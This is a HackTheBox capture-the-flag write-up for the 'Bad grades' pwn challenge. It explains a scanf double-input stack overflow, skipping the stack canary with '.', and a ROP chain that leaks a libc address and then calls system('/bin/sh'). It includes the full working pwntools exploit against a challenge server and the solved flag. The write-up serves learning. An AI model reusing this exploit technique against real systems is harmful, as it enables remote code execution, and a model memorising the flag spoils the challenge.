HackTheBox – Bad grades Write-up

Hi everyone!

Today’s post is on Bad grades, a HackTheBox easy Pwn challenge. I wouldn’t say it’s completely easy which the number of people who managed to solve it and the rating people gives shows it as well. This challenge is a Return-oriented Programming (ROP) challenge based on double input in scanf(“&lf”). Read on if you are interested. Let’s get started!

Fig 1. Bad grades easy Pwn challenge on HackTheBox

Files provided

You may download my exploit code here and IDA database here.

Tools required

Outlook of the program

First page:

┌──(soulx㉿kali)-[~/…/CTF/HackTheBox/Pwn/Bad_Grades]
└─$ ./bad_grades 
Your grades this semester were really good BAD!
                                                                                                                                                                                                                                             
1. View current grades.
2. Add new.
>

Choice 1:

Your grades were: 
2
4
1
3
0

You need to try HARDER!

Choice 2:

Number of grades: 3
Grade [1]: 1
Grade [2]: 2
Grade [3]: 1
Your new average is: 1.33

Choice 2 will prompt us to input the number of grades before prompting us to input each grade before printing the average grade.

If we do not input for a long time, an alarm signal will be called and the program will end:

┌──(soulx㉿kali)-[~/…/CTF/HackTheBox/Pwn/Bad_Grades]
└─$ ./bad_grades 
Your grades this semester were really good BAD!
                                                                                                                                                                                                                                             
1. View current grades.
2. Add new.
> zsh: alarm      ./bad_grades

Static reverse engineering analysis

I used IDA to reverse engineer instead of the decompiled version on Ghidra as the results from Ghidra weren’t accurate. You may download the IDA database of what I reverse engineered here as it contains renaming of variables, functions, and comments.

The vulnerability isn’t very obvious unless we look at the assembly code as compared to random inputs into the program when running the program.

Size of grade_input_array

While doing static analysis, I noticed that the size of the grade_input_array is 33. This can be obtained via:

graded_input_array @ rbp-0x110
canary @ rbp-0x8

space of graded_input_array = 0x110 - 0x8 = 0x108
number of indexes of graded_input_array = 0x108 / 8 = 33

We can divide by 8bytes/index to get the number of indexes because grade_input_array is an array of double which double is 8 bytes.

Fig 5a. Position of grade_input_array and canary in the stack

Purpose of grade_input_array

The grade_input_array stores the grades that we input when prompted in choice_2() before each of the grades is added and divided to get the average.

Fig 5b. Assembly showing grades prompted and calculate the average after WHILE loop

Vulnerability in choice_2()

If we look at the assembly code, we will notice that the counter or number of grades is accurate set by us which was prompted at the start of choice_2().

Fig 5c. Assembly showing we set the counter

Remember in Fig 5b that the WHILE loop continues reading our double value for the grade and stores it in the grade_input_array[] until the counter reaches the number of grades we set? As the number of index for grade_input_array[] is only until 32, no checks are made to the numbers of grades we can set. Therefore, we can actually write to more than 32 indexes. As a result, a buffer overflow occurs!

Type of exploit

To know if we can do ret2libc, return-oriented programming (ROP), etc, we have to look at the security implementation first.

┌──(soulx㉿kali)-[~/…/CTF/HackTheBox/Pwn/Bad_Grades]
└─$ checksec --file=./bad_grades
[*] '/home/soulx/documents/CTF/HackTheBox/Pwn/Bad grades/bad_grades'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

As NX is enabled while there is no PIE/ASLR, we can do ROP. Despite there a canary, we can easily bypass it with dot/period ..

Exploitation and getting user flag

Hexadecimal to double data type

As our input must be in double data type due to scan("%lf", &grade_input_array[counter]), we must find a way to convert from hexadecimal to double data type. This is important as gadget addresses and function addresses are in hexadecimal. The system will process them in hexadecimal from the memory. Since we only can write in double data type, the double data type value we input must be able to convert into the intended hexadecimal value in the memory.

As a result, we first have to use GDB to verify if it works. Firstly, let’s look at the entry point address to see if we need to offset it.

(gdb) r
CTRL^C
(gdb) info file
Symbols from "/mnt/c/Users/haoji/Documents/Programming/CTF/htb/Pwn/Bad grades/bad_grades".
Native process:
        Using the running image of child process 72.
        While running this, GDB does not access memory from...
Local exec file:
        `/mnt/c/Users/haoji/Documents/Programming/CTF/htb/Pwn/Bad grades/bad_grades', file type elf64-x86-64.
        Entry point: 0x400710
             ...

We can see that it starts from 0x400xxx which is the same as on IDA. This means we can just copy and paste the location/address we want before any offsets when wanting to set breakpoints.

Next, we can set breakpoint after scan("%lf", &grade_input_array[counter]).

Fig 7a. Address after scan(‘%lf”, &grade_input_array[counter]) is 0x401088

Since we know the address to set a breakpoint is at 0x401088, we can now try to generate a random hexadecimal into double value using Python. As an experiment, I used 0x0000000040000000.

>>> struct.unpack('d', bytes.fromhex("0000000040000000"))[0]
1.35807730622e-312
# is for little-endian
>>> struct.unpack('!d', bytes.fromhex("0000000040000000"))[0]
5.304989477e-315
# is for big-endian

Just some quick googling, I was able to find the source code above on StackOverflow which gave the big-endian version. Since our program is in little-endian, we have to use the "d" argument instead. We can prove which is big-endian and which is little-endian on GDB when verifying if our hexadecimal to double data type works or not.

(gdb) b *0x401088
Breakpoint 1 at 0x401088
(gdb) r
Starting program: /home/soulx/Documents/CTF/HackTheBox/Pwn/Bad_Grades/bad_grades 
Your grades this semester were really good BAD!
                                                                                                                                                                                                                                             
1. View current grades.
2. Add new.
> 2
Number of grades: 5
Grade [1]: 1.35807730622e-312

Breakpoint 1, 0x0000000000401088 in ?? ()
(gdb) x/5x $rbp-0x110
0x7fffffffddc0: 0x00000000      0x00000040      0x00000000      0x00000000
0x7fffffffddd0: 0x00400710
(gdb) c
Continuing.
Grade [2]: 5.304989477e-315

Breakpoint 1, 0x0000000000401088 in ?? ()
(gdb) x/5x $rbp-0x110
0x7fffffffddc0: 0x00000000      0x00000040      0x40000000      0x00000000
0x7fffffffddd0: 0x00400710
(gdb)

Based on the GDB above, Grade [1] I input the double data type value for little-endian and big-endian for Grade [2]. Since Grade [1] == grade_input_array[0], Grade [2] == grade_input_array[1], we can see that it is true that "d" argument results in little-endian for ebp-0x110 while big-endian at ebp-0x108. Our conversion works as well as the memory is stored in the hexadecimal we wanted.

However, you may find the stored value a bit strange, this is because our program is in little-endian. When we want to convert 0x400000, we must first change it to little-endian which is 0x00004000000000 in 8 bytes. This can easily be done using p64(). You can read more about "d" vs "!d" here. Just remember: for little-endian, convert hexadecimal to little-endian then use “d” parameter for little-endian, vice versa.

As we are using Pwntools, we can use the p64() function to pack our data to 64-bits (8 bytes) and in little-endian before converting to string hexadecimal, convert string hexadecimal to float, before returning as string float. To make things easier, I will be creating a function called hex_to_double().

Note that when we send data over using Pwntools using sendline() or send(), we must send either in string or in bytes. Since our input is in float, we have to send over as string. The program on the serer will parse our string input and recognize it as float.

from pwn import *

def hex_to_double(val):
	# we need to make sure it is 8 bytes so use 64bits packer
	val = p64(val).hex()
	# print(val) # debug to see if there is "0x" infront
	# return in double (little endian)
	val = struct.unpack('d', bytes.fromhex(val))[0]

	# our input must be in string when sending over to the server
	return str(val)

Verify return address location

Sometimes because of stack alignment or so, there may be some empty buffer between the base pointer location and the function’s return address. Therefore, I always make a habit to check it.

(gdb) x/5x $rbp
0x7fffffffded0: 0xffffdef0      0x00007fff      0x004011c6      0x00000000
0x7fffffffdee0: 0xffffdfe0
Fig 7b. Stack of choice_2()

Bypass canary

Bypassing the canary is much easier for scanf() that only takes in integer, float, or double as we can just input dot/period. If scanf() takes in string, we will have to use format string attack to leak the canary value.

Below shows an example of a C program where if we input a dot/period, the input will be skipped and variable a will retain its original value.

#include <stdio.h>

int main()
{
    int a = 10;
    
    printf("Input: ");
    scanf("%d", &a);
    printf("%d", a);
    // result: 10

    return 0;
}

Using this concept, we use dot/period so that the canary will not be overwritten when buffer overflow occurs.

binary = ELF("./bad_grades")
context.arch = 'amd64'

rop_binary = ROP(binary)

r = remote("142.93.38.188" ,30677)

# choose choice 2 after the main page when receive prompt
r.sendlineafter("> ", "2")
# 36th is the start of RET addr location. Need 4 indexes for our ROP chain
r.sendlineafter("Number of grades: ", "39")

# We will just use dot (.) to skip all grades input from the 1st 33 indexes (index 0 to 32). 
# Using dot (.) at index 33 helps to skip canary from being overwritten.
# Index 34 is the base pointer. Can overwrite it but I choose not to by skipping it.
for i in range(35):
	r.sendline(".")

We can just input dot/period from index 0 to index 34 which is all the spaces in grade_input_array[], the canary, and the base pointer value. You can choose to overwrite values in grade_input_array[] or base pointer value but I find no meaning to it.

ROP to leak ASLR based address of the server

This step is quite straight forward. I will be using puts() to leak its address in the server’s libc. If you are not sure about ROP on Linux, you can read my blog post here.

# find POP RDI to store our puts.got address into RDI since it is on stack after our gadget address by writing to index 35
r.sendline(hex_to_double(rop_binary.find_gadget(["pop rdi", 'ret'])[0]))
# so that we will put this puts.got on stack so that can be pop into RDI by our gadget to leak ASLR puts at libc's address by writing to index 36
r.sendline(hex_to_double(binary.got["puts"]))
# to print the ASLR address of puts in libc by writing to index 37
r.sendline(hex_to_double(binary.plt["puts"]))
# jump back to choice_2() by writing to index 38
r.sendline(hex_to_double(0x400FD5))

# to ignore the printed average grade result
r.recvuntil("\n")
leaked_puts_libc_addr = u64(r.recvuntil("\n").strip().ljust(8, b"\x00"))
log.info("Leaked server's libc address, puts(): " + hex(leaked_puts_libc_addr))


# set local libc's address to server's ASLR libc's base address
libc = ELF("./libc.so.6")
libc.address = leaked_puts_libc_addr - libc.symbols['puts']
log.info("Leaked server's libc base address: " + hex(libc.address))

Remember that your ROP chain must contain choice_2() vulnerable function’s address so that we can send our next ROP to exploit which is to spawn a /bin/sh shell using system() after we obtain the leaked libc address.

Since the libc library is given to us, we don’t have to find out what it is and download the correct version. Therefore, we can just use the libc given to us.

Spawn /bin/sh shell and get the flag

Finally, we can get a shell by using Pwntools to find the “/bin/sh” string, the required gadget, and call the system() from libc. Remember to ensure there is stack alignment thus I find and include a dummy “RET” only gadget. If you are not sure what is alignment, read my ROP blog I posted the link previously.

rop_libc = ROP(libc)

# 36th is the start of RET addr location. Need 4 indexes for our ROP chain
r.sendlineafter("Number of grades: ", "39")

# We will just use dot (.) to skip all grades input from the 1st 33 indexes (index 0 to 32). 
# Using dot (.) at index 34 helps to skip canary from being overwritten.
# Index 34 is the base pointer. Can overwrite it but I choose not to by skipping it.
for i in range(35):
	r.sendline(".")

# put gadget with only "RET" by writing to index 35 which is a dummy gadget so that we have have stack alignment
r.sendline(hex_to_double((rop_libc.find_gadget(["ret"]))[0]))
# find POP RDI to store "/bin/sh" address into RDI since it is on stack after our gadget address by writing to index 36
r.sendline(hex_to_double(rop_libc.find_gadget(["pop rdi", 'ret'])[0]))
# find the address of string "/bin/sh" and put on stack by writing to index 37
r.sendline(hex_to_double(next(libc.search(b"/bin/sh\x00"))))
# to "return"/jump to system() by writing to index 38
r.sendline(hex_to_double(libc.symbols["system"]))

# to ignore the printed average grade result
r.recvuntil("\n")

r.interactive()

Running the code with Python3 will allow us to get a shell and then obtain the flag.

[*] Leaked server's libc address, puts(): 0x7ff1a2d6aaa0
[*] '/home/soulx/Documents/CTF/HackTheBox/Pwn/Bad_Grades/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Leaked server's libc base address: 0x7ff1a2cea000
[*] Loaded 199 cached gadgets for './libc.so.6'
[*] Switching to interactive mode
$ ls
bad_grades
flag.txt
libc.so.6
run_challenge.sh
$ cat flag.txt
HTB{c4n4ry_1s_4fr41d_0f_s1gn3d_numb3r5}
$ 

Full exploit code

from pwn import *

def hex_to_double(val):
	# we need to make sure it is 8 bytes so use 64bits packer
	val = p64(val).hex()
	# print(val) # debug to see if there is "0x" infront
	# return in double (little endian)
	val = struct.unpack('d', bytes.fromhex(val))[0]

	# our input must be in string when sending over to the server
	return str(val)

binary = ELF("./bad_grades")
context.arch = 'amd64'

rop_binary = ROP(binary)

r = remote("142.93.38.188" ,30677)


############################# LEAK LIBC's address ############################# 

# choose choice 2 after the main page when receive prompt
r.sendlineafter("> ", "2")
# 36th is the start of RET addr location. Need 4 indexes for our ROP chain
r.sendlineafter("Number of grades: ", "39")

# We will just use dot (.) to skip all grades input from the 1st 33 indexes (index 0 to 32). 
# Using dot (.) at index 33 helps to skip canary from being overwritten.
# Index 34 is the base pointer. Can overwrite it but I choose not to by skipping it.
for i in range(35):
	r.sendline(".")

# Have to one by one send parts of our ROP payload instead of usually ROP string chain since input is in double

# find POP RDI to store our puts.got address into RDI since it is on stack after our gadget address by writing to index 35
r.sendline(hex_to_double(rop_binary.find_gadget(["pop rdi", 'ret'])[0]))
# so that we will put this puts.got on stack so that can be pop into RDI by our gadget to leak ASLR puts at libc's address by writing to index 36
r.sendline(hex_to_double(binary.got["puts"]))
# to print the ASLR address of puts in libc by writing to index 37
r.sendline(hex_to_double(binary.plt["puts"]))
# jump back to choice_2() by writing to index 38
r.sendline(hex_to_double(0x400FD5))

# to ignore the printed average grade result
r.recvuntil("\n")
leaked_puts_libc_addr = u64(r.recvuntil("\n").strip().ljust(8, b"\x00"))
log.info("Leaked server's libc address, puts(): " + hex(leaked_puts_libc_addr))


# set local libc's address to server's ASLR libc's base address
libc = ELF("./libc.so.6")
libc.address = leaked_puts_libc_addr - libc.symbols['puts']
log.info("Leaked server's libc base address: " + hex(libc.address))




############################# GET SHELL #############################

rop_libc = ROP(libc)

# 36th is the start of RET addr location. Need 4 indexes for our ROP chain
r.sendlineafter("Number of grades: ", "39")

# We will just use dot (.) to skip all grades input from the 1st 33 indexes (index 0 to 32). 
# Using dot (.) at index 34 helps to skip canary from being overwritten.
# Index 34 is the base pointer. Can overwrite it but I choose not to by skipping it.
for i in range(35):
	r.sendline(".")

# put gadget with only "RET" by writing to index 35 which is a dummy gadget so that we have have stack alignment
r.sendline(hex_to_double((rop_libc.find_gadget(["ret"]))[0]))
# find POP RDI to store "/bin/sh" address into RDI since it is on stack after our gadget address by writing to index 36
r.sendline(hex_to_double(rop_libc.find_gadget(["pop rdi", 'ret'])[0]))
# find the address of string "/bin/sh" and put on stack by writing to index 37
r.sendline(hex_to_double(next(libc.search(b"/bin/sh\x00"))))
# to "return"/jump to system() by writing to index 38
r.sendline(hex_to_double(libc.symbols["system"]))

# to ignore the printed average grade result
r.recvuntil("\n")

r.interactive()

You can also download the full source code here.

I hope these tabs have been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.